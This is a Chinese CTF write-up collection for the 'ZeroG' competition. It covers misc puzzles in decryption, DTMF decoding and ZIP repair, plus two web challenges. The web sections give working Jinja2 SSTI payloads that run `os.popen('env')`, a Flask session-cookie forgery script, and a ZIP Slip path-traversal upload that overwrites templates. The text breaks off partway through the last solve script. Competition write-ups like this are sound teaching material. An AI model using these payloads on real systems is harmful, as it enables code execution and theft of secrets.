这里正好解释了题面那句“轨迹会告诉你顺序,队伍会告诉你钥匙”。轨迹顺序就是 ZGST 的编号顺序,队伍顺序就是 crew 里的五名成员顺序。密钥派生输入应为:

1
Pwnstars::N1-A-Hugo-Gnaw-Fen::www.pwnstars.online

对这个字符串做 SHA256 得到流加密密钥。nonce 是十六进制字符串 5a45524f472d3031,转成 ASCII 正好是 ZEROG-01。题目给出的算法名是 xorstream-sha256-ctr,实测可用的流生成方式为:

1
keystream_block = sha256(key || nonce || counter_be32)

把连续生成的 keystream 与 telemetry.bin 异或,就能还原遥测明文。明文中还藏了一层最终字段:

1
FINAL=c3ludHtNcmViVF9mZ25lZ2Vudnlfc2Viel9jamFmZ25lZn0=

这串看起来仍然是 base64。解码后得到:

1
synt{MrebT_fgnegenvy_sebz_cjafgnef}

其中 syntflag 的 ROT13 形式,因此整串再做 ROT13,最终得到 flag。

技术实施

先提取并重组日志片段。日志片段不是按顺序出现的,所以不能直接按文件顺序拼接,必须用 ZGST-xx/11 中的 xx 排序。排序拼接后进行 base64 与 zlib 解码:

1
2
3
4
5
6
7
parts = {}
for idx, total, data in re.findall(r"ZGST-(\d+)/(\d+):([A-Za-z0-9+/=]+)", text):
parts[int(idx)] = data

joined = "".join(parts[i] for i in range(1, max(parts) + 1))
raw = base64.b64decode(joined)
meta = json.loads(zlib.decompress(raw).decode())

拿到元数据后,根据 kdf 生成密钥:

1
2
3
kdf_input = "Pwnstars::" + "-".join(meta["crew"]) + "::" + meta["domain"]
key = hashlib.sha256(kdf_input.encode()).digest()
nonce = bytes.fromhex(meta["nonce"])

之后按 SHA256 CTR 方式生成密钥流并异或密文:

1
block = hashlib.sha256(key + nonce + counter.to_bytes(4, "big")).digest()

解密出的遥测明文和最终 flag 如下图所示:

关键命令

1
2
3
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe l zerog_startrail.zip
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe x evidence\zerog_startrail.zip -ooutputs\unpack -y
python scripts\solve.py

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
from __future__ import annotations

import base64
import codecs
import hashlib
import json
import re
import zlib
from pathlib import Path


BASE = Path("outputs/unpack/zerog_startrail")
LOG_PATH = BASE / "ground_control.log"
TELEMETRY_PATH = BASE / "telemetry.bin"


def recover_metadata() -> dict:
text = LOG_PATH.read_text(encoding="utf-8")
parts = {}
for idx, total, data in re.findall(r"ZGST-(\d+)/(\d+):([A-Za-z0-9+/=]+)", text):
parts[int(idx)] = data

joined = "".join(parts[i] for i in range(1, max(parts) + 1))
raw = base64.b64decode(joined)
meta = zlib.decompress(raw).decode()
return json.loads(meta)


def xorstream_sha256_ctr(ciphertext: bytes, key: bytes, nonce: bytes) -> bytes:
keystream = bytearray()
counter = 0
while len(keystream) < len(ciphertext):
block = hashlib.sha256(key + nonce + counter.to_bytes(4, "big")).digest()
keystream.extend(block)
counter += 1
return bytes(c ^ k for c, k in zip(ciphertext, keystream))


def main() -> None:
meta = recover_metadata()
crew = meta["crew"]
domain = meta["domain"]
nonce = bytes.fromhex(meta["nonce"])

kdf_input = "Pwnstars::" + "-".join(crew) + "::" + domain
key = hashlib.sha256(kdf_input.encode()).digest()

ciphertext = TELEMETRY_PATH.read_bytes()
plaintext = xorstream_sha256_ctr(ciphertext, key, nonce).decode("utf-8")

final_b64 = re.search(r"FINAL=([A-Za-z0-9+/=]+)", plaintext)
if not final_b64:
raise RuntimeError("FINAL payload not found")

stage2 = base64.b64decode(final_b64.group(1)).decode()
flag = codecs.decode(stage2, "rot_13")

print("[metadata]")
print(json.dumps(meta, ensure_ascii=False, indent=2))
print()
print("[telemetry plaintext]")
print(plaintext)
print()
print("[final]")
print(flag)


if __name__ == "__main__":
main()

验证输出

脚本运行后先打印出解压得到的元数据,确认 crewdomainnoncecipherkdf 都来自日志重组结果。随后打印解密出的遥测明文,其中包含:

1
FINAL=c3ludHtNcmViVF9mZ25lZ2Vudnlfc2Viel9jamFmZ25lZn0=

最终 base64 解码加 ROT13 后输出:

1
flag{ZeroG_startrail_from_pwnstars}

知识点总结

这题的第一层关键是不要被日志里的噪声行干扰。ZGST-xx/yy 已经给出了明确的分片编号,所以重组时应该按编号排序,而不是按日志时间或文件出现顺序盲拼。

第二层关键是识别 eJw 这类 zlib 压缩数据的 base64 特征。压缩层解开后,题目直接给出算法名、KDF 公式、队伍顺序、官网域名和 nonce,后续就变成严格照说明实现的流加密解密。

最后一层的 synt{...} 是 ROT13 后的 flag{...},这种小尾巴常见于 Misc 题的最终混淆。看到 flag 结构整体可读但字母偏移时,可以顺手试 ROT13。

最终 flag

1
flag{ZeroG_startrail_from_pwnstars}

Misc_02.Moonlight Radio / 月光电台

题目信息

项目 内容
比赛来源 零重力
题目分类 Misc
题目名称 Misc_02.Moonlight Radio / 月光电台
题面 ZeroG 空间站在月背通信窗口中收到了一段短暂的无线电信号。Fen 说这段音频像是旧时代电话系统的声音;Hugo 在遥测数据里发现了一个加密帧;N1 认为这些声音并不是随机噪声;A 留下了一条推导公式;Gnaw 只说了一句话:“把数字重新变成字符,然后让月光打开遥测帧。”
附件 player_moonlight_radio.zip
Flag 格式 flag{...}
附件 SHA256 2055D1D120C1580ED39A7B63EE1A9336E884CC395D37FAC4158EB6CB9C99C291

解题思路

这题的第一层线索其实已经写在题面里了。radio.wav 不是摩斯码,而是“旧时代电话系统的声音”,因此最先想到的就是 DTMF 电话按键音。再结合提示里说的“把数字重新变成字符”,很自然就会猜到音频先还原数字,再按某种字符编码解释。

附件解开后有 radio.wavtelemetry.datREADME.txt。其中 README.txt 已经直接给出了密钥派生公式:

1
key = sha256("ZeroG::" + radio_password + "::www.pwnstars.online")

所以整道题的链路非常清楚:先从音频里提取 radio_password,再拿它去解 telemetry.dat,最后看明文里还藏了什么二次编码。

技术实施

先分析 radio.wav。这段音频是 8 kHz 单声道 PCM,音符长度和间隔都比较规整,频谱上能明显看到 DTMF 的双频结构。对每个音符窗口做 FFT 后,分别在低频组 697/770/852/941 和高频组 1209/1336/1477/1633 中选出能量最强的两个频点,就能还原按键序列:

1
108117110097114045049055048049

题面提示“每 3 位分组,尝试作为 ASCII 码解释”,于是把这串数字按三位切开:

1
108 117 110 097 114 045 049 055 048 049

对应 ASCII 后得到:

1
lunar-1701

这就是 radio_password。随后读取 telemetry.dat,前 16 字节可以拆成两部分:

1
ZGTELv2\nZGRMOON2

前 8 字节 ZGTELv2\n 是格式标识,后 8 字节 ZGRMOON2 才是真正参与解密的 nonce。结合同赛事 StarTrail 的实现模式,可以确认这里复用了相同的自定义流加密:

1
xorstream-sha256-ctr

其密钥流块生成方式为:

1
sha256(key + nonce + counter.to_bytes(4, "big"))

将所有块拼接后,与 telemetry.dat[16:] 逐字节异或即可得到明文。解出的遥测正文中包含最终字段:

1
FINAL=c3ludHtNcmViVF96YmJheXZ0dWdfZW5xdmJfcWd6c30=

这一步继续按常见组合处理。先做 Base64 解码,得到:

1
synt{MrebT_zbbayvtug_enqvb_qgzs}

synt 很像 flag 的 ROT13 形式,因此整串再做一次 ROT13,最终恢复出正确 flag。

关键输出如下:

关键命令

1
python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\零重力\Misc\Misc_02.Moonlight Radio\scripts\solve.py"

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import base64
import codecs
import hashlib
import pathlib
import wave

import numpy as np


ROOT = pathlib.Path(__file__).resolve().parents[1]
BASE = ROOT / "outputs" / "moonlight_radio"


DTMF_LOW = [697, 770, 852, 941]
DTMF_HIGH = [1209, 1336, 1477, 1633]
DTMF_KEYS = {
(697, 1209): "1",
(697, 1336): "2",
(697, 1477): "3",
(697, 1633): "A",
(770, 1209): "4",
(770, 1336): "5",
(770, 1477): "6",
(770, 1633): "B",
(852, 1209): "7",
(852, 1336): "8",
(852, 1477): "9",
(852, 1633): "C",
(941, 1209): "*",
(941, 1336): "0",
(941, 1477): "#",
(941, 1633): "D",
}


def detect_dtmf_digits(wav_path: pathlib.Path) -> str:
with wave.open(str(wav_path), "rb") as wav:
data = np.frombuffer(wav.readframes(wav.getnframes()), dtype=np.int16).astype(np.float32)
sample_rate = wav.getframerate()

start = 0.5
step = 0.24
tone_len = 0.18
digits = []

for index in range(40):
begin = int((start + index * step) * sample_rate)
end = int((start + index * step + tone_len) * sample_rate)
if end > len(data):
break

segment = data[begin:end]
if np.sqrt(np.mean(segment**2)) < 1000:
continue

window = np.hanning(len(segment))
spectrum = np.abs(np.fft.rfft(segment * window))
freqs = np.fft.rfftfreq(len(segment), 1 / sample_rate)

def pick(targets: list[int]) -> int:
best_freq = targets[0]
best_power = -1.0
for target in targets:
idx = int(np.argmin(np.abs(freqs - target)))
lo = max(0, idx - 2)
hi = min(len(spectrum), idx + 3)
local = lo + int(np.argmax(spectrum[lo:hi]))
power = spectrum[local]
if power > best_power:
best_power = power
best_freq = min(targets, key=lambda item: abs(item - freqs[local]))
return best_freq

low = pick(DTMF_LOW)
high = pick(DTMF_HIGH)
digits.append(DTMF_KEYS[(low, high)])

return "".join(digits)


def xorstream_sha256_ctr(ciphertext: bytes, key: bytes, nonce: bytes) -> bytes:
output = bytearray()
counter = 0
offset = 0
while offset < len(ciphertext):
block = hashlib.sha256(key + nonce + counter.to_bytes(4, "big")).digest()
chunk = ciphertext[offset : offset + 32]
output.extend(bytes(a ^ b for a, b in zip(chunk, block)))
offset += len(chunk)
counter += 1
return bytes(output)


def main() -> None:
digits = detect_dtmf_digits(BASE / "radio.wav")
password = "".join(chr(int(digits[i : i + 3])) for i in range(0, len(digits), 3))

telemetry = (BASE / "telemetry.dat").read_bytes()
nonce = telemetry[8:16]
ciphertext = telemetry[16:]

seed = f"ZeroG::{password}::www.pwnstars.online".encode()
key = hashlib.sha256(seed).digest()
plaintext = xorstream_sha256_ctr(ciphertext, key, nonce).decode("utf-8", errors="replace")

final_line = next(line for line in plaintext.splitlines() if line.startswith("FINAL="))
encoded = final_line.split("=", 1)[1]
rot13_text = base64.b64decode(encoded).decode()
flag = codecs.decode(rot13_text, "rot_13")

print(f"dtmf_digits = {digits}")
print(f"radio_password = {password}")
print(f"nonce = {nonce!r}")
print(plaintext)
print(flag)


if __name__ == "__main__":
main()

验证输出

运行脚本后可以稳定得到以下关键结果:

1
2
3
4
dtmf_digits = 108117110097114045049055048049
radio_password = lunar-1701
nonce = b'ZGRMOON2'
flag{ZeroG_moonlight_radio_dtmf}

其中 dtmf_digitsradio_passwordnonce 和最终 flag 能完整对应整条解题链路,说明音频识别、密钥派生、遥测解密和尾部编码转换都没有走偏。

知识点总结

这题最关键的是把题面提示拆成两步执行,而不是一上来就直接硬啃 telemetry.dat。电话按键音对应 DTMF,这一步如果识别出来,后面的“数字重新变成字符”就会顺理成章地落到三位 ASCII 上。

另一个值得记住的点是,题目虽然在 README.txt 里给了 KDF,但并没有明说 telemetry.dat 的头部结构。遇到这类自定义二进制帧时,先把明显的 magic 和可能的 nonce、version 拆出来,再结合同系列题目的实现习惯去验证,会比从密文盲猜省力很多。

最后那层 Base64 + ROT13 其实不复杂,但很容易因为看到 synt{...} 半可读字符串就停住。只要意识到 synt 正好是 flag 的 ROT13,整个尾巴就能顺手收掉。

最终 flag

1
flag{ZeroG_moonlight_radio_dtmf}

Misc_03.Blackbox Telemetry / 黑匣子遥测

题目信息

项目 内容
比赛来源 零重力
题目分类 Misc
题目名称 Misc_03.Blackbox Telemetry / 黑匣子遥测
题面 ZeroG 空间站在一次微重力实验后出现短暂通信中断。Pwnstars 实验室从损坏的黑匣子中恢复出了 blackbox.dbevents.logfragment.bin 三份文件,需要按正确时间线重排碎片,并用任务名开箱恢复最终 flag。
附件 player_blackbox_telemetry.zip
Flag 格式 flag{...}Pwnsatrs{...}
附件 SHA256 C222A1751C8AC2DEAC756F859B1CAC349E853E9DC3D96275008A7798DBDEA87A

解题思路

附件解开后有 blackbox.dbevents.logfragment.binREADME.txt。题面已经把方向说得很清楚:数据库里有遥测帧,日志能判断真正顺序,ZIP 可能缺少末尾目录但本地文件头足够提取。

先看日志,里面明确提示数据库时间戳不可靠,并且给出了真正应该采用的帧顺序:

1
2
3
4
5
6
ACCEPT frame_id=ZG-FRAME-7A status=ok seq=00
ACCEPT frame_id=ZG-FRAME-1C status=ok seq=01
ACCEPT frame_id=ZG-FRAME-9F status=ok seq=02
ACCEPT frame_id=ZG-FRAME-4B status=ok seq=03
ACCEPT frame_id=ZG-FRAME-2E status=ok seq=04
ACCEPT frame_id=ZG-FRAME-8D status=ok seq=05

同时日志中还藏着两个关键值:

1
2
3
archive password partA=timeline
repair missing_offset=177 missing_length=32
archive password partB=-0427

因此解题路线就变成:按日志 seq 重排数据库中的 payload,逐个做 base64+zlib 解码,拼出损坏 ZIP;再用 fragment.bin 在 offset 177 处替换缺失的 32 字节;最后从修复后的 ZIP 本地文件头提取内容。

技术实施

数据库 telemetry 表包含 frame_idtimestampencodingpayloadcrc32comment。虽然表内有 timestamp,但日志已说明这些时间戳不可靠,所以不能按数据库时间排序。

events.logACCEPT 顺序读取 payload 后,先 base64 解码,再 zlib 解压。解出的第一段以 PK\x03\x04 开头,说明确实是 ZIP 的 local file header。

拼接后得到一个损坏 ZIP。这里最容易出错的点是 missing_offset=177 missing_length=32 的含义:它不是“在 177 处插入 32 字节”,而是“177 处原本缺失或损坏的 32 字节需要由 fragment 替换”。如果做插入,后面的本地文件头会被整体推后,NOTE.txt 会 CRC 错误。

正确修复方式如下:

1
repaired_zip = damaged_zip[:177] + fragment + damaged_zip[177 + len(fragment):]

修复后的 ZIP 没有中央目录,所以普通 unzip 无法正常按目录列出。但 local file header 中包含文件名、压缩方式、压缩大小、原始大小和 CRC,足够手工解析。最终提取出两个文件:

1
2
NOTE.txt
enc_flag.bin

NOTE.txt 给出了最后一步的密钥派生方式:

1
key = sha256(mission_name + "::" + archive_password + "::Pwnstars")

其中 MissionZeroG-First-Launch,日志里的两个片段拼起来得到 archive_password=timeline-0427。对 enc_flag.bin 使用 SHA256 派生出的 32 字节 key 循环异或,即可得到明文 flag。

关键命令

1
2
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe x -y player_blackbox_telemetry.zip -oevidence
python .\scripts\solve_blackbox_telemetry.py

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import base64
import binascii
import hashlib
import pathlib
import re
import sqlite3
import struct
import zlib


CASE_DIR = pathlib.Path(__file__).resolve().parents[1]
EVIDENCE_DIR = CASE_DIR / "evidence" / "blackbox_telemetry"
OUTPUT_DIR = CASE_DIR / "outputs"


def parse_local_zip(blob: bytes) -> dict[str, bytes]:
files = {}
off = 0
while True:
sig = blob.find(b"PK\x03\x04", off)
if sig < 0:
break
fields = struct.unpack_from("<IHHHHHIIIHH", blob, sig)
_, _, _, method, _, _, crc32, comp_size, _, name_len, extra_len = fields
name_start = sig + 30
name = blob[name_start:name_start + name_len].decode()
data_start = name_start + name_len + extra_len
comp = blob[data_start:data_start + comp_size]
if method == 8:
data = zlib.decompress(comp, -15)
elif method == 0:
data = comp
else:
raise ValueError(f"unsupported ZIP method {method} for {name}")
if (binascii.crc32(data) & 0xFFFFFFFF) != crc32:
raise ValueError(f"CRC mismatch for {name}")
files[name] = data
off = data_start + comp_size
return files


def main() -> None:
db_path = EVIDENCE_DIR / "blackbox.db"
log_text = (EVIDENCE_DIR / "events.log").read_text(encoding="utf-8")
fragment = (EVIDENCE_DIR / "fragment.bin").read_bytes()

con = sqlite3.connect(db_path)
rows = {
frame_id: payload
for frame_id, payload in con.execute("select frame_id, payload from telemetry")
}

accepted = []
for match in re.finditer(r"ACCEPT frame_id=(\S+) status=ok seq=(\d+)", log_text):
accepted.append((int(match.group(2)), match.group(1)))
accepted.sort()

chunks = []
for _, frame_id in accepted:
raw = base64.b64decode(rows[frame_id])
chunks.append(zlib.decompress(raw))

damaged_zip = b"".join(chunks)
repaired_zip = damaged_zip[:177] + fragment + damaged_zip[177 + len(fragment):]
OUTPUT_DIR.mkdir(exist_ok=True)
(OUTPUT_DIR / "recovered_replace.zip").write_bytes(repaired_zip)

files = parse_local_zip(repaired_zip)
note = files["NOTE.txt"].decode()
enc_flag = files["enc_flag.bin"]

mission = re.search(r"Mission\s*:\s*(\S+)", note).group(1)
part_a = re.search(r"partA=([^\s]+)", log_text).group(1)
part_b = re.search(r"partB=([^\s]+)", log_text).group(1)
archive_password = part_a + part_b

key_material = f"{mission}::{archive_password}::Pwnstars"
key = hashlib.sha256(key_material.encode()).digest()
flag = bytes(c ^ key[i % len(key)] for i, c in enumerate(enc_flag)).decode()
print(flag)


if __name__ == "__main__":
main()

验证输出

运行复现脚本后输出:

1
flag{ZeroG_blackbox_timeline_recovered}

脚本同时会校验 local file header 中记录的 CRC。如果修复 ZIP 时误把 fragment.bin 插入而不是替换,NOTE.txt 的 CRC 会对不上;当前脚本能稳定通过 CRC 校验并输出 flag,说明时间线重排、缺失片段修复和解密链路都是闭合的。

知识点总结

这题的核心是把“时间线”和“文件结构”分开处理。数据库 timestamp 是干扰项,真正顺序来自日志 ACCEPT seq;ZIP 中央目录缺失也不是终点,因为 local file header 本身就保存了足够的提取信息。

处理损坏 ZIP 时要注意 offset 提示的语义。题目说缺失 offset 和 length 时,通常应优先理解为指定范围被损坏,需要用恢复片段替换;只有当长度变化能被其他结构证实时,才考虑插入。

最后的加密部分没有必要猜算法。NOTE.txt 已经给出 KDF,密文长度与 flag 长度一致,直接用 SHA256 结果循环异或即可得到可读 flag。

最终 flag

1
flag{ZeroG_blackbox_timeline_recovered}

Web

Web_01.Space Notes / 星际便签

题目信息

项目 内容
比赛来源 零重力
题目分类 Web
题目名称 Web_01.Space Notes / 星际便签
题目地址 http://43.108.37.178:33055
题面提示 预览功能会把用户输入当作模板渲染,可以先取 SECRET_KEY 再尝试伪造 session
Flag 格式 flag{...}

题面已经把方向点得很明确,这就是一道 Flask/Jinja2 模板注入题。表面上目标是拿管理员权限,但真正需要留意的是题目强调读取动态 flag,而动态 flag 很多时候不会老老实实写在页面模板里。

解题思路

先正常登录系统。这个站没有密码校验,只要提交一个用户名就能进入普通用户界面。登录后可以访问 /note/new,页面里除了保存便签的表单,还能看到一个 Template Preview 区域,它会把输入提交到 /preview

这时先做最基础的模板注入探测,向预览框提交 {{7*7}}。页面回显 49,说明输入内容确实被当作 Jinja2 模板执行,而不是只做字符串展示。既然 SSTI 已经成立,接下来就可以沿着 Flask 模板上下文继续拿信息。

题面提醒先找 SECRET_KEY,因此直接读取 Flask 配置:

1
{{config['SECRET_KEY']}}

回显结果是:

1
dev-secret-key-change-me

这一点说明服务端把 config 暴露在模板上下文中,而且 session 很可能就是默认的 Flask 签名 cookie。于是顺着这条线,把普通用户的 session 结构还原后,伪造出一个 role=admin 的 cookie,再去访问 /admin

不过这里有个很关键的转折。管理员面板虽然能进,但只显示了一个占位用的开发 flag:

1
flag{dev_flag_change_me}

这个值显然不是比赛动态 flag。也就是说,题面给出的“拿管理员权限”更多是一个引导点,真正的关键还是 SSTI 自身。既然模板执行能力已经到手,最直接的做法就是继续从 Python 全局对象拿到 os,然后读取容器环境变量。GZCTF 一类环境里,动态 flag 往往会通过环境变量注入。

因此最终 payload 选择为:

1
{{cycler.__init__.__globals__.os.popen('env').read()}}

回显中可以直接看到:

1
GZCTF_FLAG=flag{f3fdc514-b725-4f51-9361-e4ad30e0dc5b}

这就是真正需要提交的动态 flag。

技术实施

先提交测试表达式确认 SSTI:

1
{{7*7}}

页面回显 49,如下图所示:

然后读取 Flask 的 SECRET_KEY

1
{{config['SECRET_KEY']}}

返回值为:

1
dev-secret-key-change-me

用这个密钥配合 Flask 默认 session 机制重新签名。普通用户 cookie 解码后结构如下:

1
{'login_time': '2026-05-23T02:23:45.421673', 'role': 'user', 'username': 'tester'}

把其中的 role 改成 adminusername 改成 admin,再按 Flask 的默认参数签名:

1
2
3
4
5
6
7
8
9
URLSafeTimedSerializer(
secret_key=secret_key,
salt="cookie-session",
serializer=json,
signer_kwargs={
"key_derivation": "hmac",
"digest_method": hashlib.sha1,
},
)

伪造后的管理员 cookie 为:

1
.eJyrVsrJT8_Miy_JzE1VslJQMjIwMtM1MNU1Mg4xMLIyMrYyMdUzMTI0MzdW0lFQKsrPAatKTMnNzAMJlBanFuUl5iIJ1gIAmq0WzQ.ahEQFA.Bnjqrw5fgRiA6ZU0hp_q8trbg78

带着这个 cookie 访问 /admin 可以进入管理员面板,但页面只显示开发占位 flag:

接着回到 SSTI 本体,直接通过模板拿到 os.popen 读取环境变量:

1
{{cycler.__init__.__globals__.os.popen('env').read()}}

页面回显中包含 GZCTF_FLAG,如下图所示:

关键命令

1
2
3
4
5
curl.exe -c outputs\cookies.txt -X POST "http://43.108.37.178:33055/login" -H "Content-Type: application/x-www-form-urlencoded" --data "username=tester"
curl.exe -b outputs\cookies.txt -X POST "http://43.108.37.178:33055/preview" -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "tpl={{7*7}}"
curl.exe -b outputs\cookies.txt -X POST "http://43.108.37.178:33055/preview" -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "tpl={{config['SECRET_KEY']}}"
curl.exe -b outputs\cookies.txt -X POST "http://43.108.37.178:33055/preview" -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "tpl={{cycler.__init__.__globals__.os.popen('env').read()}}"
python scripts\solve.py

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import hashlib
import html
import json
import re
from datetime import datetime

import requests
from itsdangerous import URLSafeTimedSerializer


def extract_pre_block(text: str) -> str:
match = re.search(r"<pre>(.*?)</pre>", text, re.S)
if not match:
raise ValueError("No <pre> block found in response")
return html.unescape(match.group(1)).strip()


def preview(session: requests.Session, base_url: str, tpl: str) -> str:
response = session.post(
f"{base_url}/preview",
data={"tpl": tpl},
timeout=10,
)
response.raise_for_status()
return extract_pre_block(response.text)


def forge_cookie(secret_key: str, payload: dict[str, str]) -> str:
serializer = URLSafeTimedSerializer(
secret_key=secret_key,
salt="cookie-session",
serializer=json,
signer_kwargs={
"key_derivation": "hmac",
"digest_method": hashlib.sha1,
},
)
return serializer.dumps(payload)


def main() -> None:
parser = argparse.ArgumentParser(description="Solve Web_01.Space Notes")
parser.add_argument(
"--base-url",
default="http://43.108.37.178:33055",
help="Challenge base URL",
)
parser.add_argument(
"--username",
default="solver",
help="Arbitrary login username",
)
args = parser.parse_args()

session = requests.Session()

login_response = session.post(
f"{args.base_url}/login",
data={"username": args.username},
timeout=10,
)
login_response.raise_for_status()

ssti_probe = preview(session, args.base_url, "{{7*7}}")
if ssti_probe != "49":
raise RuntimeError(f"SSTI probe failed, got: {ssti_probe!r}")

secret_key = preview(session, args.base_url, "{{config['SECRET_KEY']}}")
print(f"SECRET_KEY={secret_key}")

forged_cookie = forge_cookie(
secret_key,
{
"login_time": datetime.now().isoformat(),
"role": "admin",
"username": "admin",
},
)
session.cookies.set("session", forged_cookie)

admin_response = session.get(f"{args.base_url}/admin", timeout=10)
admin_response.raise_for_status()
admin_match = re.search(r"flag\\{[^}]+\\}", admin_response.text)
if admin_match:
print(f"ADMIN_PAGE_FLAG={admin_match.group(0)}")

env_dump = preview(
session,
args.base_url,
"{{cycler.__init__.__globals__.os.popen('env').read()}}",
)

flag_match = re.search(r"GZCTF_FLAG=(flag\\{[^}]+\\})", env_dump)
if not flag_match:
raise RuntimeError("GZCTF_FLAG not found in env dump")

print(f"ADMIN_COOKIE={forged_cookie}")
print(f"FLAG={flag_match.group(1)}")


if __name__ == "__main__":
main()

验证输出

保存的环境变量回显中,核心内容如下:

1
2
3
4
5
GZCTF_USER_ID=019e4e56-8699-7baa-a0bd-702e1491ef76
GZCTF_FLAG=flag{f3fdc514-b725-4f51-9361-e4ad30e0dc5b}
GZCTF_GAME_ID=1
GZCTF_CHALLENGE_ID=1
GZCTF_TEAM_ID=22

这里可以同时确认两件事。其一,/admin 页面的 flag{dev_flag_change_me} 只是开发占位值。其二,真正比赛环境下的动态 flag 是通过 GZCTF_FLAG 注入容器,再被 SSTI 直接读出。

知识点总结

这题最容易让人停下来的地方,是拿到 SECRET_KEY 之后过度沉迷于伪造管理员 session。这个动作本身没有错,而且确实能进入管理员面板,但如果页面里放的是占位 flag,就会把思路带偏。

真正应该抓住的是 SSTI 的权限边界。只要 Jinja2 模板执行成立,目标就不再局限于页面逻辑,而是整个 Flask 运行环境。对于 CTF 平台容器题,环境变量、配置对象、运行目录和进程上下文都值得检查。很多动态 flag 都不在 HTML 模板里,而是在环境变量中等待被读出。

最终 flag

1
flag{f3fdc514-b725-4f51-9361-e4ad30e0dc5b}

Web_02.Zero Upload / 零重力主题包

题目信息

项目 内容
比赛来源 零重力
题目分类 Web
题目名称 Web_02.Zero Upload / 零重力主题包
附件 player_zero_upload.zip
附件 SHA256 131FA5FA4FCBDB372079E683F1FA06870F00C9C4B9165A10BB429EF9A5F9AD8E
靶机 http://43.108.37.178:33072
Flag 格式 flag{…}

题面说 ZeroG 空间站上线了一个照片墙系统,除了上传轨道照片,还支持上传 ZIP 主题包来自定义卡片样式。开发者强调主题包只是一些 HTML 片段和资源文件,看起来像是在提示“解压不会有危险”,而 Fen 留下的那句“压缩包里的路径,也许不只通向解压目录”几乎已经把突破方向直接指向了 ZIP 路径穿越。

解题思路

白盒代码只有一个很小的 Flask 应用,最值得先看的自然是主题包上传接口。题目既然主动提到 ZIP 包路径问题,就没有必要在普通图片上传、文件读取或其他路由上绕远路。

upload_theme() 中,服务端会把上传的 ZIP 保存到 themes/<theme_id>/package.zip,然后逐个成员手工解压。关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
with zipfile.ZipFile(zip_path, "r") as zf:
for member in zf.infolist():
target_path = extract_root / member.filename

if member.is_dir():
target_path.mkdir(parents=True, exist_ok=True)
continue

target_path.parent.mkdir(parents=True, exist_ok=True)

with zf.open(member, "r") as src, open(target_path, "wb") as dst:
dst.write(src.read())

这里直接把 member.filename 拼到了 extract_root 后面,却没有检查 ../。因此只要在 ZIP 里放一个名字像 ../../templates/theme/card.html 的文件,解压时就会跳出 themes/<theme_id>/,覆盖应用真实的模板文件。这就是标准的 ZIP Slip。

再看 gallery.html

1
2
3
{% for photo in photos %}
{% include "theme/card.html" %}
{% endfor %}

也就是说,只要能覆盖 templates/theme/card.html,访问 /gallery 时服务端就会渲染我们写进去的模板内容。题目的文件覆盖立刻升级成了服务端模板注入能力。

技术实施

第一步先构造一个恶意主题包,内部只放一个文件:

1
../../templates/theme/card.html

一开始最自然的想法,是直接读取源码里暴露的配置:

1
app.config["ZEROG_FLAG"] = FLAG

于是先把模板内容写成:

1
{{ config['ZEROG_FLAG'] }}

上传后访问 /gallery,页面里确实会出现一个 flag{...},但内容是:

1
flag{dev_zero_upload_flag}

这看起来像 flag,却明显更像开发占位值。说明题目这里埋了一个小坑:源码里的 ZEROG_FLAG 并不是平台实际注入的比赛 flag。

既然已经拿到了模板覆盖,而且 Jinja 会在服务端执行,那就没必要停留在应用配置层。继续沿着 Jinja 对象链探测执行能力,使用:

1
{{ cycler.__init__.__globals__.os.popen("env | sort").read() }}

访问 /gallery 后,页面直接回显进程环境变量,其中明确出现:

1
GZCTF_FLAG=flag{59b65f15-3ec3-41ab-804a-76eb2cfde6a5}

这说明真实动态 flag 来自平台注入的 GZCTF_FLAG 环境变量,而不是源码中为了本地开发设置的 ZEROG_FLAG。于是最终恶意模板只需要直接读取真正的环境变量:

1
{{ cycler.__init__.__globals__.os.environ['GZCTF_FLAG'] }}

再次上传主题包并访问 /gallery,页面就会稳定渲染出真实 flag。

关键命令

最终复现只需要运行脚本:

1
python scripts\solve.py

如果要手工概括整条利用链,本质上就是:

1
2
3
1. 上传 ZIP,文件名为 ../../templates/theme/card.html
2. 文件内容写为 {{ cycler.__init__.__globals__.os.environ['GZCTF_FLAG'] }}
3. 访问 /gallery,读取渲染结果中的 flag

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import io
import re
import warnings
import zipfile

warnings.filterwarnings(
"ignore",
message=r"urllib3 .* doesn't match a supported version!",
)

import requests


BASE_URL = "http://43.108.37.178:33072"
PAYLOAD_NAME = "../../templates/theme/card.html"
